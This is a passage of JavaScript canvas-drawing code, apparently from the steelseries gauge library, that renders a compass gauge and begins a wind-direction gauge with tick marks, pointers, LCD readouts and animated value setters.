ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[1], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.29, 0); break; } ctx.restore(); if (roseVisible && (0 === i || 22.5 === i || 45 === i || 67.5 === i || 90 === i || 112.5 === i || 135 === i || 157.5 === i || 180 === i || 202.5 === i || 225 === i || 247.5 === i || 270 === i || 292.5 === i || 315 === i || 337.5 === i || 360 === i)) { // ROSE_LINE ctx.save(); ctx.beginPath(); // indent the 16 half quadrant lines a bit for visual effect if (i % 45) { ctx.moveTo(imageWidth * 0.29, 0); } else { ctx.moveTo(imageWidth * 0.38, 0); } ctx.lineTo(imageWidth * 0.1, 0); ctx.closePath(); ctx.restore(); ctx.lineWidth = 1; ctx.strokeStyle = backgroundColor.symbolColor.getRgbaColor(); ctx.stroke(); } ctx.rotate(angleStep * 2.5); } } else { stdFont = 0.08 * imageWidth + 'px serif'; smlFont = imageWidth * 0.033 + 'px serif'; ctx.rotate(angleStep * 10); for (i = 10; 360 >= i; i += 10) { // Draw the labels ctx.save(); if (pointSymbolsVisible) { switch (i) { case 360: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[2], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 90: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[4], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 180: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[6], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; case 270: ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[0], 0, 0, imageWidth); ctx.translate(-imageWidth * 0.35, 0); break; default: val = (i + 90) % 360; ctx.translate(imageWidth * 0.37, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(('0'.substring(val >= 100) + val), 0, 0, imageWidth); ctx.translate(-imageWidth * 0.37, 0); } } else { val = (i + 90) % 360; ctx.translate(imageWidth * 0.37, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(('0'.substring(val >= 100) + val), 0, 0, imageWidth); ctx.translate(-imageWidth * 0.37, 0); } ctx.restore(); ctx.rotate(angleStep * 10); } } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawPointerImage = function (ctx) { ctx.save(); switch (pointerType.type) { case 'type2': // NORTHPOINTER ctx.beginPath(); ctx.moveTo(imageWidth * 0.532710, imageHeight * 0.453271); ctx.bezierCurveTo(imageWidth * 0.532710, imageHeight * 0.453271, imageWidth * 0.5, imageHeight * 0.149532, imageWidth * 0.5, imageHeight * 0.149532); ctx.bezierCurveTo(imageWidth * 0.5, imageHeight * 0.149532, imageWidth * 0.467289, imageHeight * 0.453271, imageWidth * 0.467289, imageHeight * 0.453271); ctx.bezierCurveTo(imageWidth * 0.453271, imageHeight * 0.462616, imageWidth * 0.443925, imageHeight * 0.481308, imageWidth * 0.443925, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.443925, imageHeight * 0.5, imageWidth * 0.556074, imageHeight * 0.5, imageWidth * 0.556074, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.556074, imageHeight * 0.481308, imageWidth * 0.546728, imageHeight * 0.462616, imageWidth * 0.532710, imageHeight * 0.453271); ctx.closePath(); var NORTHPOINTER2_GRADIENT = ctx.createLinearGradient(0.471962 * imageWidth, 0, 0.528036 * imageWidth, 0); NORTHPOINTER2_GRADIENT.addColorStop(0, pointerColor.light.getRgbaColor()); NORTHPOINTER2_GRADIENT.addColorStop(0.46, pointerColor.light.getRgbaColor()); NORTHPOINTER2_GRADIENT.addColorStop(0.47, pointerColor.medium.getRgbaColor()); NORTHPOINTER2_GRADIENT.addColorStop(1, pointerColor.medium.getRgbaColor()); ctx.fillStyle = NORTHPOINTER2_GRADIENT; ctx.strokeStyle = pointerColor.dark.getRgbaColor(); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.fill(); ctx.stroke(); // SOUTHPOINTER ctx.beginPath(); ctx.moveTo(imageWidth * 0.467289, imageHeight * 0.546728); ctx.bezierCurveTo(imageWidth * 0.467289, imageHeight * 0.546728, imageWidth * 0.5, imageHeight * 0.850467, imageWidth * 0.5, imageHeight * 0.850467); ctx.bezierCurveTo(imageWidth * 0.5, imageHeight * 0.850467, imageWidth * 0.532710, imageHeight * 0.546728, imageWidth * 0.532710, imageHeight * 0.546728); ctx.bezierCurveTo(imageWidth * 0.546728, imageHeight * 0.537383, imageWidth * 0.556074, imageHeight * 0.518691, imageWidth * 0.556074, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.556074, imageHeight * 0.5, imageWidth * 0.443925, imageHeight * 0.5, imageWidth * 0.443925, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.443925, imageHeight * 0.518691, imageWidth * 0.453271, imageHeight * 0.537383, imageWidth * 0.467289, imageHeight * 0.546728); ctx.closePath(); var SOUTHPOINTER2_GRADIENT = ctx.createLinearGradient(0.471962 * imageWidth, 0, 0.528036 * imageWidth, 0); SOUTHPOINTER2_GRADIENT.addColorStop(0, '#e3e5e8'); SOUTHPOINTER2_GRADIENT.addColorStop(0.48, '#e3e5e8'); SOUTHPOINTER2_GRADIENT.addColorStop(0.48, '#abb1b8'); SOUTHPOINTER2_GRADIENT.addColorStop(1, '#abb1b8'); ctx.fillStyle = SOUTHPOINTER2_GRADIENT; var strokeColor_SOUTHPOINTER2 = '#abb1b8'; ctx.strokeStyle = strokeColor_SOUTHPOINTER2; ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.fill(); ctx.stroke(); break; case 'type3': // NORTHPOINTER ctx.beginPath(); ctx.moveTo(imageWidth * 0.5, imageHeight * 0.149532); ctx.bezierCurveTo(imageWidth * 0.5, imageHeight * 0.149532, imageWidth * 0.443925, imageHeight * 0.490654, imageWidth * 0.443925, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.443925, imageHeight * 0.532710, imageWidth * 0.467289, imageHeight * 0.556074, imageWidth * 0.5, imageHeight * 0.556074); ctx.bezierCurveTo(imageWidth * 0.532710, imageHeight * 0.556074, imageWidth * 0.556074, imageHeight * 0.532710, imageWidth * 0.556074, imageHeight * 0.5); ctx.bezierCurveTo(imageWidth * 0.556074, imageHeight * 0.490654, imageWidth * 0.5, imageHeight * 0.149532, imageWidth * 0.5, imageHeight * 0.149532); ctx.closePath(); var NORTHPOINTER3_GRADIENT = ctx.createLinearGradient(0.471962 * imageWidth, 0, 0.528036 * imageWidth, 0); NORTHPOINTER3_GRADIENT.addColorStop(0, pointerColor.light.getRgbaColor()); NORTHPOINTER3_GRADIENT.addColorStop(0.46, pointerColor.light.getRgbaColor()); NORTHPOINTER3_GRADIENT.addColorStop(0.47, pointerColor.medium.getRgbaColor()); NORTHPOINTER3_GRADIENT.addColorStop(1, pointerColor.medium.getRgbaColor()); ctx.fillStyle = NORTHPOINTER3_GRADIENT; ctx.strokeStyle = pointerColor.dark.getRgbaColor(); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.fill(); ctx.stroke(); break; case 'type1:': /* falls through */ default: // NORTHPOINTER ctx.beginPath(); ctx.moveTo(imageWidth * 0.5, imageHeight * 0.495327); ctx.lineTo(imageWidth * 0.528037, imageHeight * 0.495327); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.149532); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.495327); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.495327); ctx.closePath(); var NORTHPOINTER1_GRADIENT = ctx.createLinearGradient(0.471962 * imageWidth, 0, 0.528036 * imageWidth, 0); NORTHPOINTER1_GRADIENT.addColorStop(0, pointerColor.light.getRgbaColor()); NORTHPOINTER1_GRADIENT.addColorStop(0.46, pointerColor.light.getRgbaColor()); NORTHPOINTER1_GRADIENT.addColorStop(0.47, pointerColor.medium.getRgbaColor()); NORTHPOINTER1_GRADIENT.addColorStop(1, pointerColor.medium.getRgbaColor()); ctx.fillStyle = NORTHPOINTER1_GRADIENT; ctx.strokeStyle = pointerColor.dark.getRgbaColor(); ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.fill(); ctx.stroke(); // SOUTHPOINTER ctx.beginPath(); ctx.moveTo(imageWidth * 0.5, imageHeight * 0.504672); ctx.lineTo(imageWidth * 0.471962, imageHeight * 0.504672); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.850467); ctx.lineTo(imageWidth * 0.528037, imageHeight * 0.504672); ctx.lineTo(imageWidth * 0.5, imageHeight * 0.504672); ctx.closePath(); var SOUTHPOINTER1_GRADIENT = ctx.createLinearGradient(0.471962 * imageWidth, 0, 0.528036 * imageWidth, 0); SOUTHPOINTER1_GRADIENT.addColorStop(0, '#e3e5e8'); SOUTHPOINTER1_GRADIENT.addColorStop(0.48, '#e3e5e8'); SOUTHPOINTER1_GRADIENT.addColorStop(0.480099, '#abb1b8'); SOUTHPOINTER1_GRADIENT.addColorStop(1, '#abb1b8'); ctx.fillStyle = SOUTHPOINTER1_GRADIENT; var strokeColor_SOUTHPOINTER = '#abb1b8'; ctx.strokeStyle = strokeColor_SOUTHPOINTER; ctx.lineWidth = 1; ctx.lineCap = 'square'; ctx.lineJoin = 'miter'; ctx.fill(); ctx.stroke(); break; } ctx.restore(); }; // ************** Initialization ******************** // Draw all static painting code to background var init = function () { initialized = true; if (frameVisible) { drawRadialFrameImage(backgroundContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } if (backgroundVisible) { drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); if (roseVisible) { drawRoseImage(roseContext, centerX, centerY, imageWidth, imageHeight, backgroundColor); } drawTickmarksImage(roseContext); } drawPointerImage(pointerContext, false); if (foregroundVisible) { drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, true, knobType, knobStyle); } }; var resetBuffers = function () { // Buffer for all static background painting code backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for symbols/rose painting code roseBuffer.width = size; roseBuffer.height = size; roseContext = roseBuffer.getContext('2d'); // Buffer for pointer image painting code pointerBuffer.width = size; pointerBuffer.height = size; pointerContext = pointerBuffer.getContext('2d'); // Buffer for static foreground painting code foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); }; //************************************ Public methods ************************************** this.setValue = function (newValue) { newValue = parseFloat(newValue) % 360; if (value !== newValue) { value = newValue; this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { var targetValue = newValue % 360; var gauge = this; var diff; if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } diff = getShortestAngle(value, targetValue); if (rotateFace) { tween = new Tween({}, '', Tween.regularEaseInOut, value, value + diff, 2); } else { tween = new Tween({}, '', Tween.elasticEaseOut, value, value + diff, 2); } tween.onMotionChanged = function (event) { value = event.target._pos % 360; if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers(); frameDesign = newFrameDesign; init(); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers(); backgroundColor = newBackgroundColor; init(); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers(); foregroundType = newForegroundType; init(); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers(); pointerColor = newPointerColor; init(); this.repaint(); return this; }; this.setPointerType = function (newPointerType) { resetBuffers(); pointerType = newPointerType; init(); this.repaint(); return this; }; this.setPointSymbols = function (newPointSymbols) { resetBuffers(); pointSymbols = newPointSymbols; init(); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init(); } mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // Define rotation center angle = HALF_PI + value * angleStep - HALF_PI; if (backgroundVisible || frameVisible) { mainCtx.drawImage(backgroundBuffer, 0, 0); } if (rotateFace) { mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(-angle); mainCtx.translate(-centerX, -centerY); if (backgroundVisible) { mainCtx.drawImage(roseBuffer, 0, 0); } mainCtx.restore(); } else { if (backgroundVisible) { mainCtx.drawImage(roseBuffer, 0, 0); } mainCtx.translate(centerX, centerY); mainCtx.rotate(angle); mainCtx.translate(-centerX, -centerY); } // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw the pointer mainCtx.drawImage(pointerBuffer, 0, 0); // Undo the translations & shadow settings mainCtx.restore(); if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var windDirection = function (canvas, parameters) { parameters = parameters || {}; var size = (undefined === parameters.size ? 0 : parameters.size), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), pointerTypeLatest = (undefined === parameters.pointerTypeLatest ? steelseries.PointerType.TYPE1 : parameters.pointerTypeLatest), pointerTypeAverage = (undefined === parameters.pointerTypeAverage ? steelseries.PointerType.TYPE8 : parameters.pointerTypeAverage), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.RED : parameters.pointerColor), pointerColorAverage = (undefined === parameters.pointerColorAverage ? steelseries.ColorDef.BLUE : parameters.pointerColorAverage), knobType = (undefined === parameters.knobType ? steelseries.KnobType.STANDARD_KNOB : parameters.knobType), knobStyle = (undefined === parameters.knobStyle ? steelseries.KnobStyle.SILVER : parameters.knobStyle), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), pointSymbols = (undefined === parameters.pointSymbols ? ['N', 'NE', 'E', 'SE', 'S', 'SW', 'W', 'NW'] : parameters.pointSymbols), pointSymbolsVisible = (undefined === parameters.pointSymbolsVisible ? true : parameters.pointSymbolsVisible), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), degreeScale = (undefined === parameters.degreeScale ? true : parameters.degreeScale), degreeScaleHalf = (undefined === parameters.degreeScaleHalf ? false : parameters.degreeScaleHalf), roseVisible = (undefined === parameters.roseVisible ? false : parameters.roseVisible), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdVisible = (undefined === parameters.lcdVisible ? true : parameters.lcdVisible), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), section = (undefined === parameters.section ? null : parameters.section), area = (undefined === parameters.area ? null : parameters.area), lcdTitleStrings = (undefined === parameters.lcdTitleStrings ? ['Latest', 'Average'] : parameters.lcdTitleStrings), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), useColorLabels = (undefined === parameters.useColorLabels ? false : parameters.useColorLabels), fullScaleDeflectionTime = (undefined === parameters.fullScaleDeflectionTime ? 2.5 : parameters.fullScaleDeflectionTime); var tweenLatest; var tweenAverage; var valueLatest = 0; var valueAverage = 0; var angleStep = RAD_FACTOR; var angleLatest = this.valueLatest; var angleAverage = this.valueAverage; var rotationOffset = -HALF_PI; var angleRange = TWO_PI; var range = 360; var repainting = false; // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; var lcdFontHeight = Math.floor(imageWidth / 10); var stdFont = lcdFontHeight + 'px ' + stdFontName; var lcdFont = lcdFontHeight + 'px ' + lcdFontName; var lcdWidth = imageWidth * 0.3; var lcdHeight = imageHeight * 0.12; var lcdPosX = (imageWidth - lcdWidth) / 2; var lcdPosY1 = imageHeight * 0.32; var lcdPosY2 = imageHeight * 0.565; var initialized = false; // ************** Buffer creation ******************** // Buffer for all static background painting code var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); // Buffer for LCD displays var lcdBuffer; // Buffer for latest pointer images painting code var pointerBufferLatest = createBuffer(size, size); var pointerContextLatest = pointerBufferLatest.getContext('2d'); // Buffer for average pointer image var pointerBufferAverage = createBuffer(size, size); var pointerContextAverage = pointerBufferAverage.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawLcdText = function (value, bLatest) { mainCtx.save(); mainCtx.textAlign = 'center'; mainCtx.strokeStyle = lcdColor.textColor; mainCtx.fillStyle = lcdColor.textColor; //convert value from -180,180 range into 0-360 range while (value < -180) { value += 360; } if (!degreeScaleHalf && value < 0) { value += 360; } if (degreeScaleHalf && value > 180) { value = -(360 - value); } if (value >= 0) { value = '00' + Math.round(value); value = value.substring(value.length, value.length - 3); } else { value = '00' + Math.abs(Math.round(value)); value = '-' + value.substring(value.length, value.length - 3); } if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { mainCtx.shadowColor = 'gray'; mainCtx.shadowOffsetX = imageWidth * 0.007; mainCtx.shadowOffsetY = imageWidth * 0.007; mainCtx.shadowBlur = imageWidth * 0.007; } mainCtx.font = (digitalFont ? lcdFont : stdFont); mainCtx.fillText(value + '\u00B0', imageWidth / 2 + lcdWidth * 0.05, (bLatest ? lcdPosY1 : lcdPosY2) + lcdHeight * 0.5 + lcdFontHeight * 0.38, lcdWidth * 0.9); mainCtx.restore(); }; var drawAreaSectionImage = function (ctx, start, stop, color, filled) { ctx.save(); ctx.strokeStyle = color; ctx.fillStyle = color; ctx.lineWidth = imageWidth * 0.035; var startAngle = (angleRange / range * start); var stopAngle = startAngle + (stop - start) / (range / angleRange); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); ctx.beginPath(); if (filled) { ctx.moveTo(0, 0); ctx.arc(0, 0, imageWidth * 0.365 - ctx.lineWidth / 2, startAngle, stopAngle, false); } else { ctx.arc(0, 0, imageWidth * 0.365, startAngle, stopAngle, false); } if (filled) { ctx.moveTo(0, 0); ctx.fill(); } else { ctx.stroke(); } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawTickmarksImage = function (ctx) { var OUTER_POINT = imageWidth * 0.38, MAJOR_INNER_POINT = imageWidth * 0.35, //MED_INNER_POINT = imageWidth * 0.355, MINOR_INNER_POINT = imageWidth * 0.36, TEXT_WIDTH = imageWidth * 0.1, TEXT_TRANSLATE_X = imageWidth * 0.31, CARDINAL_TRANSLATE_X = imageWidth * 0.36, stdFont, smlFont, i, val, to; ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.save(); ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.translate(centerX, centerY); if (!degreeScale) { stdFont = 0.12 * imageWidth + 'px serif'; smlFont = 0.06 * imageWidth + 'px serif'; //var angleStep = RAD_FACTOR; ctx.lineWidth = 1; ctx.strokeStyle = backgroundColor.symbolColor.getRgbaColor(); for (i = 0; 360 > i; i += 2.5) { if (0 === i % 5) { ctx.beginPath(); ctx.moveTo(imageWidth * 0.38, 0); ctx.lineTo(imageWidth * 0.36, 0); ctx.closePath(); ctx.stroke(); } // Draw the labels ctx.save(); switch (i) { case 0: //E ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[2], 0, 0); ctx.translate(-imageWidth * 0.35, 0); break; case 45: //SE ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[3], 0, 0); ctx.translate(-imageWidth * 0.29, 0); break; case 90: //S ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[4], 0, 0); ctx.translate(-imageWidth * 0.35, 0); break; case 135: //SW ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[5], 0, 0); ctx.translate(-imageWidth * 0.29, 0); break; case 180: //W ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[6], 0, 0); ctx.translate(-imageWidth * 0.35, 0); break; case 225: //NW ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[7], 0, 0); ctx.translate(-imageWidth * 0.29, 0); break; case 270: //N ctx.translate(imageWidth * 0.35, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[0], 0, 0); ctx.translate(-imageWidth * 0.35, 0); break; case 315: //NE ctx.translate(imageWidth * 0.29, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(pointSymbols[1], 0, 0); ctx.translate(-imageWidth * 0.29, 0); break; } ctx.restore(); if (roseVisible && (0 === i || 22.5 === i || 45 === i || 67.5 === i || 90 === i || 112.5 === i || 135 === i || 157.5 === i || 180 === i || 202.5 === i || 225 === i || 247.5 === i || 270 === i || 292.5 === i || 315 === i || 337.5 === i || 360 === i)) { // ROSE_LINE ctx.save(); ctx.beginPath(); // indent the 16 half quadrant lines a bit for visual effect if (i % 45) { ctx.moveTo(imageWidth * 0.29, 0); } else { ctx.moveTo(imageWidth * 0.38, 0); } ctx.lineTo(imageWidth * 0.1, 0); ctx.closePath(); ctx.restore(); ctx.stroke(); } ctx.rotate(angleStep * 2.5); } } else { stdFont = Math.floor(0.1 * imageWidth) + 'px serif bold'; smlFont = Math.floor(imageWidth * 0.04) + 'px ' + stdFontName; ctx.rotate(angleStep * 5); for (i = 5; 360 >= i; i += 5) { // Draw the labels ctx.save(); if (pointSymbolsVisible) { switch (i) { case 360: ctx.translate(CARDINAL_TRANSLATE_X, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[2], 0, 0, TEXT_WIDTH); ctx.translate(-CARDINAL_TRANSLATE_X, 0); break; case 90: ctx.translate(CARDINAL_TRANSLATE_X, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[4], 0, 0, TEXT_WIDTH); ctx.translate(-CARDINAL_TRANSLATE_X, 0); break; case 180: ctx.translate(CARDINAL_TRANSLATE_X, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[6], 0, 0, TEXT_WIDTH); ctx.translate(-CARDINAL_TRANSLATE_X, 0); break; case 270: ctx.translate(CARDINAL_TRANSLATE_X, 0); ctx.rotate(HALF_PI); ctx.font = stdFont; ctx.fillText(pointSymbols[0], 0, 0, TEXT_WIDTH); ctx.translate(-CARDINAL_TRANSLATE_X, 0); break; case 5: case 85: case 95: case 175: case 185: case 265: case 275: case 355: //leave room for ordinal labels break; default: if ((i + 90) % 20) { ctx.lineWidth = ((i + 90) % 5) ? 1.5 : 1; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); to = (i + 90) % 10 ? MINOR_INNER_POINT : MAJOR_INNER_POINT; ctx.lineTo(to, 0); ctx.closePath(); ctx.stroke(); } else { ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MAJOR_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); val = (i + 90) % 360; ctx.translate(TEXT_TRANSLATE_X, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(('0'.substring(val >= 100) + val), 0, 0, TEXT_WIDTH); ctx.translate(-TEXT_TRANSLATE_X, 0); } } } else { if ((i + 90) % 20) { ctx.lineWidth = ((i + 90) % 5) ? 1.5 : 1; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); to = (i + 90) % 10 ? MINOR_INNER_POINT : MAJOR_INNER_POINT; ctx.lineTo(to, 0); ctx.closePath(); ctx.stroke(); } else { ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MAJOR_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); val = (i + 90) % 360; if (degreeScaleHalf) { //invert 180-360 if (val > 180) { val = -(360 - val); } } ctx.translate(TEXT_TRANSLATE_X, 0); ctx.rotate(HALF_PI); ctx.font = smlFont; ctx.fillText(val, 0, 0, TEXT_WIDTH); ctx.translate(-TEXT_TRANSLATE_X, 0); } } ctx.restore(); ctx.rotate(angleStep * 5); } } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawLcdTitles = function (ctx) { if (lcdTitleStrings.length > 0) { ctx.save(); ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.fillStyle = (useColorLabels ? pointerColor.medium.getRgbaColor() : backgroundColor.labelColor.getRgbaColor()); ctx.font = 0.040 * imageWidth + 'px ' + stdFontName; ctx.fillText(lcdTitleStrings[0], imageWidth / 2, imageHeight * 0.29, imageWidth * 0.3); ctx.fillStyle = (useColorLabels ? pointerColorAverage.medium.getRgbaColor() : backgroundColor.labelColor.getRgbaColor()); ctx.fillText(lcdTitleStrings[1], imageWidth / 2, imageHeight * 0.71, imageWidth * 0.3); if (titleString.length > 0) { ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.font = 0.0467 * imageWidth + 'px ' + stdFontName; ctx.fillText(titleString, imageWidth / 2, imageHeight * 0.5, imageWidth * 0.3); } } }; // ************** Initialization ******************** // Draw all static painting code to background var init = function (parameters) { parameters = parameters || {}; var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawPointer = (undefined === parameters.pointer ? false : parameters.pointer); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); initialized = true; if (drawBackground && frameVisible) { drawRadialFrameImage(backgroundContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } if (drawBackground && backgroundVisible) { // Create background in background buffer (backgroundBuffer) drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); // Create custom layer in background buffer (backgroundBuffer) drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); // Create section in background buffer (backgroundBuffer) if (null !== section && 0 < section.length) { var sectionIndex = section.length; do { sectionIndex--; drawAreaSectionImage(backgroundContext, section[sectionIndex].start, section[sectionIndex].stop, section[sectionIndex].color, false); } while (0 < sectionIndex); } // Create area in background buffer (backgroundBuffer) if (null !== area && 0 < area.length) { var areaIndex = area.length; do { areaIndex--; drawAreaSectionImage(backgroundContext, area[areaIndex].start, area[areaIndex].stop, area[areaIndex].color, true); } while (0 < areaIndex); } drawTickmarksImage(backgroundContext); } if (drawBackground && roseVisible) { drawRoseImage(backgroundContext, centerX, centerY, imageWidth, imageHeight, backgroundColor); } // Create lcd background if selected in background buffer (backgroundBuffer) if (drawBackground && lcdVisible) { lcdBuffer = createLcdBackgroundImage(lcdWidth, lcdHeight, lcdColor); backgroundContext.drawImage(lcdBuffer, lcdPosX, lcdPosY1); backgroundContext.drawImage(lcdBuffer, lcdPosX, lcdPosY2); // Create title in background buffer (backgroundBuffer) drawLcdTitles(backgroundContext); } if (drawPointer) { drawPointerImage(pointerContextAverage, imageWidth, pointerTypeAverage, pointerColorAverage, backgroundColor.labelColor); drawPointerImage(pointerContextLatest, imageWidth, pointerTypeLatest, pointerColor, backgroundColor.labelColor); } if (drawForeground && foregroundVisible) { var knobVisible = (pointerTypeLatest.type === 'type15' || pointerTypeLatest.type === 'type16' ? false : true); drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, knobVisible, knobType, knobStyle); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetPointer = (undefined === buffers.pointer ? false : buffers.pointer); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); // Buffer for all static background painting code if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } // Buffers for pointer image painting code if (resetPointer) { pointerBufferLatest.width = size; pointerBufferLatest.height = size; pointerContextLatest = pointerBufferLatest.getContext('2d'); pointerBufferAverage.width = size; pointerBufferAverage.height = size; pointerContextAverage = pointerBufferAverage.getContext('2d'); } // Buffer for static foreground painting code if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }; //************************************ Public methods ************************************** this.setValueLatest = function (newValue) { // Actually need to handle 0-360 rather than 0-359 // 1-360 are used for directions // 0 is used as a special case to indicate 'calm' newValue = parseFloat(newValue); newValue = newValue === 360 ? 360 : newValue % 360; if (valueLatest !== newValue) { valueLatest = newValue; this.repaint(); } return this; }; this.getValueLatest = function () { return valueLatest; }; 